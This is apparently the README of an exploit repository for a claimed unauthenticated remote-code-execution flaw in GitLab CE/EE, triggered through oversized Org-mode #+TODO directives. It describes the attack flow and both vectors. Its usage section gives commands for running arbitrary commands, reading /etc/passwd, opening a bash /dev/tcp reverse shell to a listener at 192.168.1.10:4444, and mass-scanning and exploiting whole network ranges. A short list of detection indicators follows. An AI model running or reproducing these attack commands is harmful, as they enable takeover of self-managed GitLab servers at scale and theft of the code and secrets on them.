CVE-2026-110264 - GitLab CE/EE Regex Integer Overflow Unauthenticated RCE | CVSS 10.0 | By Gh0st-Bx1
LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. The use of these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.
| Field | Detail |
|---|---|
| CVE | CVE-2026-110264 |
| Nickname | GitLab-Ghost |
| Type | Integer Overflow in the regex compiler (CWE-190) |
| CVSS | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Component | GitLab Org-mode renderer - Ruby regex compiler engine |
| Vectors | /api/v4/markdown (anonymous) / README.org upload (authenticated) |
| Authentication | Not required (unauthenticated) |
| Affects | GitLab CE/EE >= 7.0, self-managed, < patched versions |
| Fixed | 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13 |
| Disclosed | October 21, 2026 (simultaneous patches across 7 branches) |
GitLab's regular expression compiler suffers from an integer overflow when processing
#+TODO: directives in Org-mode files (.org). When a sequence of alternatives
exceeds the limit of the internal ID type of the Ruby regex compiler, an overflow occurs that allows
remote code execution on the GitLab server without authentication.
The vulnerability affects GitLab self-managed Community Edition and Enterprise Edition since version 7.0 (approximately 12 years of releases). GitLab.com was patched automatically.
1. Atacante envia arquivo .org com diretiva #+TODO: contendo 500+ estados alternados
2. GitLab chama o renderer Org-mode ao exibir o arquivo no repositorio
3. O parser cria uma regex para colorir keywords dos estados #+TODO
4. O compilador Ruby regex aloca IDs internos por estado; ao superar ~500,
o counter interno (tipo fixo) sofre overflow
5. Overflow corrompe estruturas internas do compilador -> execucao de codigo
6. Codigo executa com as permissoes do processo git/gitlab
Anonymous vector (without authentication):
Atacante --> [POST /api/v4/markdown] {"text": "<org_payload>"}
|
GitLab processa conteudo ORG sem autenticar
|
Org-mode renderer -> regex compiler -> overflow -> RCE
Authenticated vector (free account):
Atacante (conta free) --> cria projeto --> upload README.org
|
GitLab renderiza ao navegar no projeto
|
Mesmo overflow -> RCE como processo servidor
| Branch | Vulnerable versions | Fixed version |
|---|---|---|
| 19.5.x | < 19.5.1 | 19.5.1 |
| 19.4.x | < 19.4.3 | 19.4.3 |
| 19.3.x | < 19.3.6 | 19.3.6 |
| 19.2.x | < 19.2.9 | 19.2.9 |
| 19.1.x | < 19.1.9 | 19.1.9 |
| 19.0.x | < 19.0.10 | 19.0.10 |
| 18.11.x | < 18.11.13 | 18.11.13 |
| < 18.11 | All (EOL) | Upgrade GitLab |
GitLab.com: already fixed automatically. Only self-managed instances are affected.
cve-2026-110264/
poc.py Verifica versao e envia payload Org-mode via /api/v4/markdown
exploit.py Exploit completo: fingerprint, reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://gitlab.empresa.com --check
python poc.py --url http://gitlab.empresa.com --cmd "id"
python poc.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "cat /etc/passwd"
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--cmd "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --scan-port 80
# Scan de arquivo + explorar vulneraveis
python exploit.py --scan alvos.txt --token glpat-xxxx --cmd "id"
# Aumentar profundidade de overflow (alvos mais resistentes)
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--depth 1000 --cmd "id"
--url URL do GitLab (ex: http://gitlab.empresa.com)
--cmd Comando a executar (default: id)
--token Personal Access Token (opcional, mais confiavel)
--check Apenas verifica versao e vulnerabilidade
--silent Suprime o banner
--url URL do GitLab alvo
--scan CIDR, range ou arquivo para scan
--scan-port Porta HTTP para scan (default: 80)
--token PRIVATE-TOKEN GitLab
--cmd Comando a executar
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber conexao
--lport Porta para reverse shell (default: 4444)
--depth Estados de overflow (default: 650, max recomendado: 1000)
--check Apenas fingerprint de versao
--threads Threads para scan (default: 30)
--silent Suprime o banner
| Indicator | Description |
|---|---|
POST requests to /api/v4/markdown | Attempted anonymous exploitation |
Upload of .org with #+TODO: very large | Overflow payload in states |
| ruby/gitlab process with unexpected calls | Compromised worker |
| Unexpected outbound connection from the GitLab server | Active reverse shell |
Remediation:
#+TODO: containing many alternativesBy Gh0st-Bx1 | https://github.com/Ghost-Bx1